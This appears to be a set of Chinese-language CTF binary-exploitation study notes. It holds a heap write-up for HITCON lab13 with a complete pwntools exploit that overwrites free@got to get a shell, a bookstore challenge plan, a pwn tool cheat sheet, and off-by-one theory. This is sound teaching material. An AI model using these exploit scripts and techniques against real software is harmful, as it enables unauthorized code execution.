heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped
➜ hitcontraning_lab13 git:(master) checksec heapcreator
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/chunk_extend_shrink/hitcontraning_lab13/heapcreator'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序为 64 位动态链接程序,主要开启了 Canary 保护与 NX 保护。

基本功能

程序大概是一个自定义的堆分配器,每个堆主要有两个成员:大小与内容指针。主要功能如下

  1. 创建堆,根据用户输入的长度,申请对应内存空间,并利用 read 读取指定长度内容。这里长度没有进行检测,当长度为负数时,会出现任意长度堆溢出的漏洞。当然,前提是可以进行 malloc。此外,这里读取之后并没有设置 NULL。
  2. 编辑堆,根据指定的索引以及之前存储的堆的大小读取指定内容,但是这里读入的长度会比之前大 1,所以会存在 off by one 的漏洞
  3. 展示堆,输出指定索引堆的大小以及内容。
  4. 删除堆,删除指定堆,并且将对应指针设置为了 NULL。

利用

基本利用思路如下

  1. 利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
  2. 申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。

更加具体的还是直接看脚本吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('./libc.so.6')


def create(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def edit(idx, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)


def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))


free_got = 0x602018
create(0x18, "dada") # 0
create(0x10, "ddaa") # 1
# overwrite heap 1's struct's size to 0x41
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
# trigger heap 1's struct to fastbin 0x40
# heap 1's content to fastbin 0x20
delete(1)
# new heap 1's struct will point to old heap 1's content, size 0x20
# new heap 1's content will point to old heap 1's struct, size 0x30
# that is to say we can overwrite new heap 1's struct
# here we overwrite its heap content pointer to free@got
create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free'])) #1
# leak freeaddr
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")

free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
#gdb.attach(r)
# overwrite free@got with system addr
edit(1, p64(system_addr))
# trigger system("/bin/sh")
delete(0)
r.interactive()

2015 hacklu bookstore

题目链接

基本信息

1
2
3
4
5
6
7
8
9
➜  2015_hacklu_bookstore git:(master) file books    
books: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3a15f5a8e83e55c535d220473fa76c314d26b124, stripped
➜ 2015_hacklu_bookstore git:(master) checksec books
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/chunk_extend_shrink/2015_hacklu_bookstore/books'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看出该程序是动态链接的 64 位程序,主要开启了 Canary 与 NX 保护。

基本功能

该程序的主要功能是订书,具体如下

  • 最多可以订购两本书。
  • 根据编号来选择订购第几本书,可以为每本书添加对应的名字。然而在添加名字处出现了任意长度堆溢出的漏洞。
  • 根据编号来删除 order,但是这里只是单纯地 free 掉,并没有置为 NULL,因此会出现 use after free 的漏洞。
  • 提交订单,将两本书的名字合在一起。这里由于上面堆溢出的问题,这里也会出现堆溢出的漏洞。
  • 此外,在程序退出之前存在一个格式化字符串漏洞

这里虽然程序的漏洞能力很强,但是所有进行 malloc 的大小都是完全固定的,我们只能借助这些分配的 chunk 来进行操作。

利用思路

程序中主要的漏洞在于堆溢出和格式化字符串漏洞,但是如果想要利用格式化字符串漏洞,必然需要溢出对应的 dest 数组。具体思路如下

  1. 利用堆溢出进行 chunk extend,使得在 submit 中 时,恰好返回第二个订单处的位置。在 submit 之前,布置好堆内存布局,使得把字符串拼接后恰好可以覆盖 dest 为指定的格式化字符串。malloc(0x140uLL)
  2. 通过构造 dest 为指定的格式化字符串:一方面泄漏 __libc_start_main_ret 的地址,一方面控制程序重新返回执行。这时,便可以知道 libc 基地址,system 等地址。需要注意的是由于一旦 submit 之后,程序就会直接直接退出,所以我们比较好的思路就是修改 fini_array 中的变量,以便于达到程序执行完毕后,重新返回我们期待的位置。这里我们会使用一个 trick,程序每次读取选择的时候会读取 128 大小,在栈上。而程序最后在输出 dest 的时候,之前所读取的那部分选择必然是在栈上的,所以我们如果我们在栈上预先布置好一些控制流指针,那就可以来控制程序的执行流程。
  3. 再次利用格式化字符串漏洞,覆盖 free@got 为 system 地址,从而达到任意命令执行的目的。

这里,各个参数的偏移是

  • Fini_array0 : 5+8=13
  • __libc_start_main_ret : 5+0x1a=31。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
00:0000│ rsp  0x7ffe6a7f3ec8 —▸ 0x400c93 ◂— mov    eax, 0
01:0008│ 0x7ffe6a7f3ed0 ◂— 0x100000000
02:0010│ 0x7ffe6a7f3ed8 —▸ 0x9f20a0 ◂— 0x3a3120726564724f ('Order 1:')
03:0018│ 0x7ffe6a7f3ee0 —▸ 0x400d38 ◂— pop rcx
04:0020│ 0x7ffe6a7f3ee8 —▸ 0x9f2010 ◂— 0x6666666666667325 ('%sffffff')
05:0028│ 0x7ffe6a7f3ef0 —▸ 0x9f20a0 ◂— 0x3a3120726564724f ('Order 1:')
06:0030│ 0x7ffe6a7f3ef8 —▸ 0x9f2130 ◂— 0x6564724f203a3220 (' 2: Orde')
07:0038│ 0x7ffe6a7f3f00 ◂— 0xa35 /* '5\n' */
08:0040│ 0x7ffe6a7f3f08 ◂— 0x0
... ↓
0b:0058│ 0x7ffe6a7f3f20 ◂— 0xff00000000000000
0c:0060│ 0x7ffe6a7f3f28 ◂— 0x0
... ↓
0f:0078│ 0x7ffe6a7f3f40 ◂— 0x5f5f00656d697474 /* 'ttime' */
10:0080│ 0x7ffe6a7f3f48 ◂— 0x7465675f6f736476 ('vdso_get')
11:0088│ 0x7ffe6a7f3f50 ◂— 0x1
12:0090│ 0x7ffe6a7f3f58 —▸ 0x400cfd ◂— add rbx, 1
13:0098│ 0x7ffe6a7f3f60 ◂— 0x0
... ↓
15:00a8│ 0x7ffe6a7f3f70 —▸ 0x400cb0 ◂— push r15
16:00b0│ 0x7ffe6a7f3f78 —▸ 0x400780 ◂— xor ebp, ebp
17:00b8│ 0x7ffe6a7f3f80 —▸ 0x7ffe6a7f4070 ◂— 0x1
18:00c0│ 0x7ffe6a7f3f88 ◂— 0xd8d379f22453ff00
19:00c8│ rbp 0x7ffe6a7f3f90 —▸ 0x400cb0 ◂— push r15
1a:00d0│ 0x7ffe6a7f3f98 —▸ 0x7f9db2113830 (__libc_start_main+240) ◂— mov edi, eax

本篇主要更新pwn过程中使用的工具及其使用方法,功能不做赘述。


pwntools

1
nc 网址,端口号#连接网站

几乎用于很简单的pwn题或直接连接靶机做题


ROPgadget

1
ROPgadget --binary 文件名 --only "pop|ret"

用于查找代码中对应的汇编命令的地址

1
2
3
4
5
6
7
8
9
10
ROPgadget --binary 文件名 --string '/bin/sh'

ROPgadget --binary 文件名 --string '/sh'

ROPgadget --binary 文件名 --string 'sh'

ROPgadget --binary 文件名 --string 'cat flag'

ROPgadget --binary 文件名 --string 'cat flag.txt'

用于查找代码中对应的getshell命令字符或关于flag的指令

1
ROPgadget --binary 文件名 --ropchain

生成现成的ropchain,可以直接实现getshell(静态,且要求文件使用gets函数读取,因为静态链较长,一般无法缩短过多)


patchelf

修改ld(我一般会将下载的放置在题目文件夹,否则需要相对路径)

1
patchelf --set-interpreter 版本号/ld-linux.so.2 ./文件名
1
patchelf --set-interpreter 2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 ./pwn

修改libc

1
patchelf --replace-needed libc.so.6  ./(路径)/libc.so.6 ./pwn
1
patchelf --replace-needed libc.so.6 ./libc.so.6 ./pwn

添加libc

1
2
patchelf --add-needed 版本号/libc.so.6 ./文件名

1
2
3

patchelf --add-needed 2.23-0ubuntu3_amd64/libc.so.6 ./pwn

补充常用的libc版本

2.23-0ubuntu11.3_amd64
2.27-3ubuntu1.5_amd64


ropper

与ROPgadget类似,静态链用法

1
ROPgadget --binary pwn --ropchain//一般生成较长,可人为缩减

glibc all in one

一般情况

先展出所有libc列表

1
cat list

下载所需要的glibc版本

1
sudo ./download 版本号  #下载所需版本

特殊情况

展出老版本列表

1
cat old_list

下载老版本列表

1
2
./download_old 版本号

先后顺序搞清楚,下载后移到题目文件夹,方便搭建环境


pwndbg

开了PIE

1
b *$rebase(0x相对基址偏移)  //下断点下到特定地址

alpha3

主要用于shellcode修改为题目的可见字符(使用alpha3进行编码shellcode,生成一段没有坏字符的shellcode。然后使用jmp esp进行shellcode注入。)

1
2
3
cd alpha3
python ./ALPHA3.py x64 ascii mixedcase rax --input="存储shellcode的文件" > 输出文件

off-by-one 利用思路

  1. 溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
  2. 溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。(1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。(2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。

最新版本代码中,已加入针对 2 中后一种方法的 check ,但是在 2.28 及之前版本并没有该 check 。

for 循环的边界没有控制好导致写入多执行了一次,这也被称为栅栏错误

数据发生了溢出覆盖到了下一个堆块的 prev_size 域 print ‘A’*17

strlen 和 strcpy 的行为不一致却导致了 off-by-one 的发生。 strlen 是我们很熟悉的计算 ascii 字符串长度的函数,这个函数在计算字符串长度时是不把结束符 '\x00' 计算在内的,但是 strcpy 在复制字符串时会拷贝结束符 '\x00' 。这就导致了我们向 chunk1 中写入了 25 个字节,我们使用 gdb 进行调试可以看到这一点。

可以看到 next chunk 的 size 域低字节被结束符 '\x00' 覆盖,这种又属于 off-by-one 的一个分支称为 NULL byte off-by-one,我们在后面会看到 off-by-one 与 NULL byte off-by-one 在利用上的区别。 还是有一点就是为什么是低字节被覆盖呢,因为我们通常使用的 CPU 的字节序都是小端法的,比如一个 DWORD 值在使用小端法的内存中是这样储存的

flat([cyclic(0x50), passwd_addr + 0x4])以下是对这一行代码的解析:

代码解析

  1. cyclic(0x50):
    • cyclicpwntools 中的一个函数,用于生成一个长度为 0x50(即 80 字节)的循环模式字符串。这个字符串通常用于缓冲区溢出攻击中,以便在后续的溢出过程中更容易地识别栈的偏移量。
    • 例如,它可能生成一个像 abcdeabcdeabcde... 的模式,以帮助开发者确定输入数据中某个特定点的偏移量。
  2. passwd_addr + 0x4:
    • passwd_addr 代表一个变量,通常是某个内存地址,可能是程序中存储密码的地方。
    • + 0x4 表示在这个地址的基础上偏移 4 字节。这可能是因为你想访问该地址后面的数据,比如一个指针或某个结构体的字段。
  3. flat([...]):
    • flatpwntools 提供的另一个函数,用于将传入的列表展平为一个连续的字节串。它会将列表中的元素(比如字节串、整数等)按顺序组合成一个连续的内存块。
    • 在这个上下文中,flat 会将 cyclic(0x50) 生成的字节串和 passwd_addr + 0x4 的值(通常是以字节形式表示的内存地址)连接在一起,形成一个最终的输入数据。